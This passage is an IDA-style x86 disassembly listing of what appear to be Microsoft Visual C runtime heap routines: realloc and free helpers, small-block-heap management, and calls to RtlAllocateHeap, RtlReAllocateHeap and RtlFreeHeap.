		call	ds:dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_423963:				; CODE XREF: sub_423880+B0j
		jmp	loc_423A79
; ---------------------------------------------------------------------------

loc_423968:				; CODE XREF: sub_423880+37j
		cmp	dword_4F3BEC, 2
		jnz	loc_423A46
		cmp	[ebp+arg_4], 0
		jnz	short loc_423982
		mov	[ebp+arg_4], 1

loc_423982:				; CODE XREF: sub_423880+F9j
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_24]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	___sbh_find_block_0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_423A0C
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+arg_4]
		cmp	edx, dword_453CEC
		ja	short loc_4239F3
		mov	eax, [ebp+arg_4]
		shr	eax, 4
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		call	___sbh_resize_block_0
		add	esp, 10h
		test	eax, eax
		jz	short loc_4239F3
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_1C], ecx

loc_4239F3:				; CODE XREF: sub_423880+14Cj
					; sub_423880+16Bj
		push	0FFFFFFFFh
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_30], edx
		lea	eax, [ebp+var_10]
		push	eax
		call	__local_unwind2
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_423A7C
; ---------------------------------------------------------------------------

loc_423A0C:				; CODE XREF: sub_423880+13Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423A1A
		jmp	short loc_423A25
; END OF FUNCTION CHUNK	FOR sub_423880

; =============== S U B	R O U T	I N E =======================================



sub_423A1A	proc near		; CODE XREF: sub_423880+193p
					; DATA XREF: .rdata:0043D074o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_423A1A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423880

loc_423A25:				; CODE XREF: sub_423880+198j
		cmp	[ebp+var_28], 0
		jnz	short loc_423A44
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4F3BE8
		push	eax
		call	ds:dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_423A44:				; CODE XREF: sub_423880+1A9j
		jmp	short loc_423A79
; ---------------------------------------------------------------------------

loc_423A46:				; CODE XREF: sub_423880+EFj
		cmp	[ebp+arg_4], 0
		jnz	short loc_423A53
		mov	[ebp+arg_4], 1

loc_423A53:				; CODE XREF: sub_423880+1CAj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	10h
		mov	ecx, dword_4F3BE8
		push	ecx
		call	ds:dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_423A79:				; CODE XREF: sub_423880:loc_423963j
					; sub_423880:loc_423A44j
		mov	eax, [ebp+var_1C]

loc_423A7C:				; CODE XREF: sub_423880+2Bj
					; sub_423880+18Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423880
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_423A90(void *Src,int)

sub_423A90	proc near		; CODE XREF: _realloc_help+2AFp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
Size		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Dst		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00423C63 SIZE 0000020C BYTES
; FUNCTION CHUNK AT 00423E7A SIZE 000000A9 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D078
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		cmp	[ebp+Src], 0
		jnz	short loc_423AD0
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	__malloc_base
		add	esp, 4
		jmp	loc_423F12
; ---------------------------------------------------------------------------

loc_423AD0:				; CODE XREF: sub_423A90+2Dj
		cmp	[ebp+arg_4], 0
		jnz	short loc_423AE9
		mov	edx, [ebp+Src]
		push	edx
		call	sub_423F30
		add	esp, 4
		xor	eax, eax
		jmp	loc_423F12
; ---------------------------------------------------------------------------

loc_423AE9:				; CODE XREF: sub_423A90+44j
		cmp	dword_4F3BEC, 3
		jnz	loc_423CCF

loc_423AF6:				; CODE XREF: sub_423A90:loc_423CCAj
		mov	[ebp+Dst], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_423C9C
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+Src]
		push	eax
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_423C4A
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4F3C0C
		ja	loc_423BCA
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+Src]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	___sbh_resize_block
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_423B60
		mov	edx, [ebp+Src]
		mov	[ebp+Dst], edx
		jmp	short loc_423BCA
; ---------------------------------------------------------------------------

loc_423B60:				; CODE XREF: sub_423A90+C6j
		mov	eax, [ebp+arg_4]
		push	eax
		call	___sbh_alloc_block
		add	esp, 4
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jz	short loc_423BCA
		mov	ecx, [ebp+Src]
		mov	edx, [ecx-4]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_423B91
		mov	ecx, [ebp+var_20]
		mov	[ebp+Size], ecx
		jmp	short loc_423B97
; ---------------------------------------------------------------------------

loc_423B91:				; CODE XREF: sub_423A90+F7j
		mov	edx, [ebp+arg_4]
		mov	[ebp+Size], edx

loc_423B97:				; CODE XREF: sub_423A90+FFj
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	eax, [ebp+Src]
		push	eax
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+Src]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_424410
		add	esp, 8

loc_423BCA:				; CODE XREF: sub_423A90+AAj
					; sub_423A90+CEj ...
		cmp	[ebp+Dst], 0
		jnz	short loc_423C4A
		cmp	[ebp+arg_4], 0
		jnz	short loc_423BDD
		mov	[ebp+arg_4], 1

loc_423BDD:				; CODE XREF: sub_423A90+144j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4F3BE8
		push	edx
		call	ds:dword_4F5418	; RtlAllocateHeap
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jz	short loc_423C4A
		mov	eax, [ebp+Src]
		mov	ecx, [eax-4]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_423C20
		mov	eax, [ebp+var_20]
		mov	[ebp+var_40], eax
		jmp	short loc_423C26
; ---------------------------------------------------------------------------

loc_423C20:				; CODE XREF: sub_423A90+186j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_40], ecx

loc_423C26:				; CODE XREF: sub_423A90+18Ej
		mov	edx, [ebp+var_40]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	edx, [ebp+Src]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	sub_424410
		add	esp, 8

loc_423C4A:				; CODE XREF: sub_423A90+9Bj
					; sub_423A90+13Ej ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423C58
		jmp	short loc_423C63
sub_423A90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423C58	proc near		; CODE XREF: sub_423A90+1C1p
					; DATA XREF: .rdata:0043D080o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_423C58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423A90

loc_423C63:				; CODE XREF: sub_423A90+1C6j
		cmp	[ebp+var_28], 0
		jnz	short loc_423C9C
		cmp	[ebp+arg_4], 0
		jnz	short loc_423C76
		mov	[ebp+arg_4], 1

loc_423C76:				; CODE XREF: sub_423A90+1DDj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+Src]
		push	eax
		push	0
		mov	ecx, dword_4F3BE8
		push	ecx
		call	ds:dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+Dst], eax

loc_423C9C:				; CODE XREF: sub_423A90+71j
					; sub_423A90+1D7j
		cmp	[ebp+Dst], 0
		jnz	short loc_423CAB
		cmp	dword_4F3584, 0
		jnz	short loc_423CB3

loc_423CAB:				; CODE XREF: sub_423A90+210j
		mov	eax, [ebp+Dst]
		jmp	loc_423F12
; ---------------------------------------------------------------------------

loc_423CB3:				; CODE XREF: sub_423A90+219j
		mov	edx, [ebp+arg_4]
		push	edx
		call	__callnewh
		add	esp, 4
		test	eax, eax
		jnz	short loc_423CCA
		xor	eax, eax
		jmp	loc_423F12
; ---------------------------------------------------------------------------

loc_423CCA:				; CODE XREF: sub_423A90+231j
		jmp	loc_423AF6
; ---------------------------------------------------------------------------

loc_423CCF:				; CODE XREF: sub_423A90+60j
		cmp	dword_4F3BEC, 2
		jnz	loc_423EAA
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_423CFC
		cmp	[ebp+arg_4], 0
		jbe	short loc_423CF5
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		jmp	short loc_423CFC
; ---------------------------------------------------------------------------

loc_423CF5:				; CODE XREF: sub_423A90+256j
		mov	[ebp+arg_4], 10h

loc_423CFC:				; CODE XREF: sub_423A90+250j
					; sub_423A90+263j ...
		mov	[ebp+Dst], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_423E7A
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+Src]
		push	eax
		call	___sbh_find_block_0
		add	esp, 0Ch
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	loc_423E47
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_453CEC
		jnb	loc_423DD8
		mov	edx, [ebp+arg_4]
		shr	edx, 4
		push	edx
		mov	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_38]
		push	edx
		call	___sbh_resize_block_0
		add	esp, 10h
		test	eax, eax
		jz	short loc_423D75
		mov	eax, [ebp+Src]
		mov	[ebp+Dst], eax
		jmp	short loc_423DD8
; ---------------------------------------------------------------------------

loc_423D75:				; CODE XREF: sub_423A90+2DBj
		mov	ecx, [ebp+arg_4]
		shr	ecx, 4
		push	ecx
		call	___sbh_alloc_block_0
		add	esp, 4
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jz	short loc_423DD8
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 4
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_4]
		jnb	short loc_423DAA
		mov	edx, [ebp+var_34]
		mov	[ebp+var_44], edx
		jmp	short loc_423DB0
; ---------------------------------------------------------------------------

loc_423DAA:				; CODE XREF: sub_423A90+310j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_44], eax

loc_423DB0:				; CODE XREF: sub_423A90+318j
		mov	ecx, [ebp+var_44]
		push	ecx		; Size
		mov	edx, [ebp+Src]
		push	edx		; Src
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		call	___sbh_free_block
		add	esp, 0Ch

loc_423DD8:				; CODE XREF: sub_423A90+2B8j
					; sub_423A90+2E3j ...
		cmp	[ebp+Dst], 0
		jnz	short loc_423E45
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4F3BE8
		push	edx
		call	ds:dword_4F5418	; RtlAllocateHeap
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jz	short loc_423E45
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		shl	ecx, 4
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_423E17
		mov	eax, [ebp+var_34]
		mov	[ebp+var_48], eax
		jmp	short loc_423E1D
; ---------------------------------------------------------------------------

loc_423E17:				; CODE XREF: sub_423A90+37Dj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_48], ecx

loc_423E1D:				; CODE XREF: sub_423A90+385j
		mov	edx, [ebp+var_48]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_30]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_38]
		push	ecx
		call	___sbh_free_block
		add	esp, 0Ch

loc_423E45:				; CODE XREF: sub_423A90+34Cj
					; sub_423A90+368j
		jmp	short loc_423E61
; ---------------------------------------------------------------------------

loc_423E47:				; CODE XREF: sub_423A90+2A9j
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+Src]
		push	eax
		push	0
		mov	ecx, dword_4F3BE8
		push	ecx
		call	ds:dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+Dst], eax

loc_423E61:				; CODE XREF: sub_423A90:loc_423E45j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423E6F
		jmp	short loc_423E7A
; END OF FUNCTION CHUNK	FOR sub_423A90

; =============== S U B	R O U T	I N E =======================================



sub_423E6F	proc near		; CODE XREF: sub_423A90+3D8p
					; DATA XREF: .rdata:0043D08Co
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_423E6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423A90

loc_423E7A:				; CODE XREF: sub_423A90+277j
					; sub_423A90+3DDj
		cmp	[ebp+Dst], 0
		jnz	short loc_423E89
		cmp	dword_4F3584, 0
		jnz	short loc_423E91

loc_423E89:				; CODE XREF: sub_423A90+3EEj
		mov	eax, [ebp+Dst]
		jmp	loc_423F12
; ---------------------------------------------------------------------------

loc_423E91:				; CODE XREF: sub_423A90+3F7j
		mov	edx, [ebp+arg_4]
		push	edx
		call	__callnewh
		add	esp, 4
		test	eax, eax
		jnz	short loc_423EA5
		xor	eax, eax
		jmp	short loc_423F12
; ---------------------------------------------------------------------------

loc_423EA5:				; CODE XREF: sub_423A90+40Fj
		jmp	loc_423CFC
; ---------------------------------------------------------------------------

loc_423EAA:				; CODE XREF: sub_423A90+246j
					; sub_423A90:loc_423F10j
		mov	[ebp+Dst], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_423EE8
		cmp	[ebp+arg_4], 0
		jnz	short loc_423EC4
		mov	[ebp+arg_4], 1

loc_423EC4:				; CODE XREF: sub_423A90+42Bj
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+Src]
		push	edx
		push	0
		mov	eax, dword_4F3BE8
		push	eax
		call	ds:dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+Dst], eax

loc_423EE8:				; CODE XREF: sub_423A90+425j
		cmp	[ebp+Dst], 0
		jnz	short loc_423EF7
		cmp	dword_4F3584, 0
		jnz	short loc_423EFC

loc_423EF7:				; CODE XREF: sub_423A90+45Cj
		mov	eax, [ebp+Dst]
		jmp	short loc_423F12
; ---------------------------------------------------------------------------

loc_423EFC:				; CODE XREF: sub_423A90+465j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	__callnewh
		add	esp, 4
		test	eax, eax
		jnz	short loc_423F10
		xor	eax, eax
		jmp	short loc_423F12
; ---------------------------------------------------------------------------

loc_423F10:				; CODE XREF: sub_423A90+47Aj
		jmp	short loc_423EAA
; ---------------------------------------------------------------------------

loc_423F12:				; CODE XREF: sub_423A90+3Bj
					; sub_423A90+54j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423A90
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423F30	proc near		; CODE XREF: sub_41CCE0+26Ep
					; sub_41CCE0+3B2p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00423FB6 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 00424038 SIZE 0000003E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D090
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_423F5E
		jmp	loc_424065
; ---------------------------------------------------------------------------

loc_423F5E:				; CODE XREF: sub_423F30+27j
		cmp	dword_4F3BEC, 3
		jnz	short loc_423FD4
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_423F9D
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_424410
		add	esp, 8

loc_423F9D:				; CODE XREF: sub_423F30+5Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423FAB
		jmp	short loc_423FB6
sub_423F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAB	proc near		; CODE XREF: sub_423F30+74p
					; DATA XREF: .rdata:0043D098o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_423FAB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F30

loc_423FB6:				; CODE XREF: sub_423F30+79j
		cmp	[ebp+var_1C], 0
		jnz	short loc_423FCF
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4F3BE8
		push	ecx
		call	ds:dword_4F5414	; RtlFreeHeap

loc_423FCF:				; CODE XREF: sub_423F30+8Aj
		jmp	loc_424065
; ---------------------------------------------------------------------------

loc_423FD4:				; CODE XREF: sub_423F30+35j
		cmp	dword_4F3BEC, 2
		jnz	short loc_424052
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	___sbh_find_block_0
		add	esp, 0Ch
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_42401F
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	___sbh_free_block
		add	esp, 0Ch

loc_42401F:				; CODE XREF: sub_423F30+D9j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42402D
		jmp	short loc_424038
; END OF FUNCTION CHUNK	FOR sub_423F30

; =============== S U B	R O U T	I N E =======================================



sub_42402D	proc near		; CODE XREF: sub_423F30+F6p
					; DATA XREF: .rdata:0043D0A4o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_42402D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F30

loc_424038:				; CODE XREF: sub_423F30+FBj
		cmp	[ebp+var_24], 0
		jnz	short loc_424050
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4F3BE8
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap

loc_424050:				; CODE XREF: sub_423F30+10Cj
		jmp	short loc_424065
; ---------------------------------------------------------------------------

loc_424052:				; CODE XREF: sub_423F30+ABj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4F3BE8
		push	edx
		call	ds:dword_4F5414	; RtlFreeHeap

loc_424065:				; CODE XREF: sub_423F30+29j
					; sub_423F30:loc_423FCFj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423F30
; ---------------------------------------------------------------------------
		align 10h
; [00000062 BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_4240E2. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000003A BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424127	proc near		; CODE XREF: unknown_libname_6+A0p
					; DATA XREF: .rdata:0043D0BCo
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_424127	endp

; ---------------------------------------------------------------------------
; [00000052 BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		call	unknown_libname_6 ; Microsoft VisualC 2-8/net runtime
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4F3BEC, 3
		jnz	short loc_4241B3
		mov	eax, dword_4F3C0C
		jmp	short loc_4241C5
; ---------------------------------------------------------------------------

loc_4241B3:				; CODE XREF: .text:004241AAj
		cmp	dword_4F3BEC, 2
		jnz	short loc_4241C3
		mov	eax, dword_453CEC
		jmp	short loc_4241C5
; ---------------------------------------------------------------------------

loc_4241C3:				; CODE XREF: .text:004241BAj
		xor	eax, eax

loc_4241C5:				; CODE XREF: .text:004241B1j
					; .text:004241C1j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F3BEC, 3
		jnz	short loc_4241FF
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_4241F8
		mov	eax, [ebp+8]
		mov	dword_4F3C0C, eax
		mov	eax, 1
		jmp	loc_4242D6
; ---------------------------------------------------------------------------

loc_4241F8:				; CODE XREF: .text:004241E4j
		xor	eax, eax
		jmp	loc_4242D6
; ---------------------------------------------------------------------------

loc_4241FF:				; CODE XREF: .text:004241DBj
		cmp	dword_4F3BEC, 2
		jnz	short loc_424237
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_424230
		mov	edx, [ebp+8]
		mov	dword_453CEC, edx
		mov	eax, 1
		jmp	loc_4242D6
; ---------------------------------------------------------------------------

loc_424230:				; CODE XREF: .text:0042421Bj
		xor	eax, eax
		jmp	loc_4242D6
; ---------------------------------------------------------------------------

loc_424237:				; CODE XREF: .text:00424206j
		cmp	dword_4F3BEC, 1
		jnz	loc_4242D4
		cmp	dword ptr [ebp+8], 0
		jbe	loc_4242D4
		lea	eax, [ebp-4]
		push	eax
		call	sub_426E90
		add	esp, 4
		mov	ecx, [ebp-4]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_42429C
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_42429A
		mov	edx, [ebp+8]
		push	edx
		call	___sbh_heap_init
		add	esp, 4
		test	eax, eax
		jz	short loc_42429A
		mov	eax, [ebp+8]
		mov	dword_4F3C0C, eax
		mov	dword_4F3BEC, 3
		mov	eax, 1
		jmp	short loc_4242D6
; ---------------------------------------------------------------------------

loc_42429A:				; CODE XREF: .text:0042426Fj
					; .text:0042427Fj
		jmp	short loc_4242D4
; ---------------------------------------------------------------------------

loc_42429C:				; CODE XREF: .text:00424266j
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_4242D4
		call	___sbh_new_region
		test	eax, eax
		jz	short loc_4242D4
		mov	edx, [ebp+8]
		mov	dword_453CEC, edx
		mov	dword_4F3BEC, 2
		mov	eax, 1
		jmp	short loc_4242D6
; ---------------------------------------------------------------------------

loc_4242D4:				; CODE XREF: .text:0042423Ej
					; .text:00424248j ...
		xor	eax, eax

loc_4242D6:				; CODE XREF: .text:004241F3j
					; .text:004241FAj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000062 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000055 BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___sbh_verify_block. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424410	proc near		; CODE XREF: sub_423A90+132p
					; sub_423A90+1B2p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sub	eax, [edx+0Ch]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shr	ecx, 0Fh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		imul	edx, 204h
		mov	eax, [ebp+var_3C]
		lea	ecx, [eax+edx+144h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		sub	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		and	edx, 1
		test	edx, edx
		jz	short loc_42446D
		jmp	loc_4249E8
; ---------------------------------------------------------------------------

loc_42446D:				; CODE XREF: sub_424410+56j
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax-4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_14]
		and	edx, 1
		test	edx, edx
		jnz	loc_4245B7
		mov	eax, [ebp+var_14]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_4244AE
		mov	[ebp+var_24], 3Fh

loc_4244AE:				; CODE XREF: sub_424410+95j
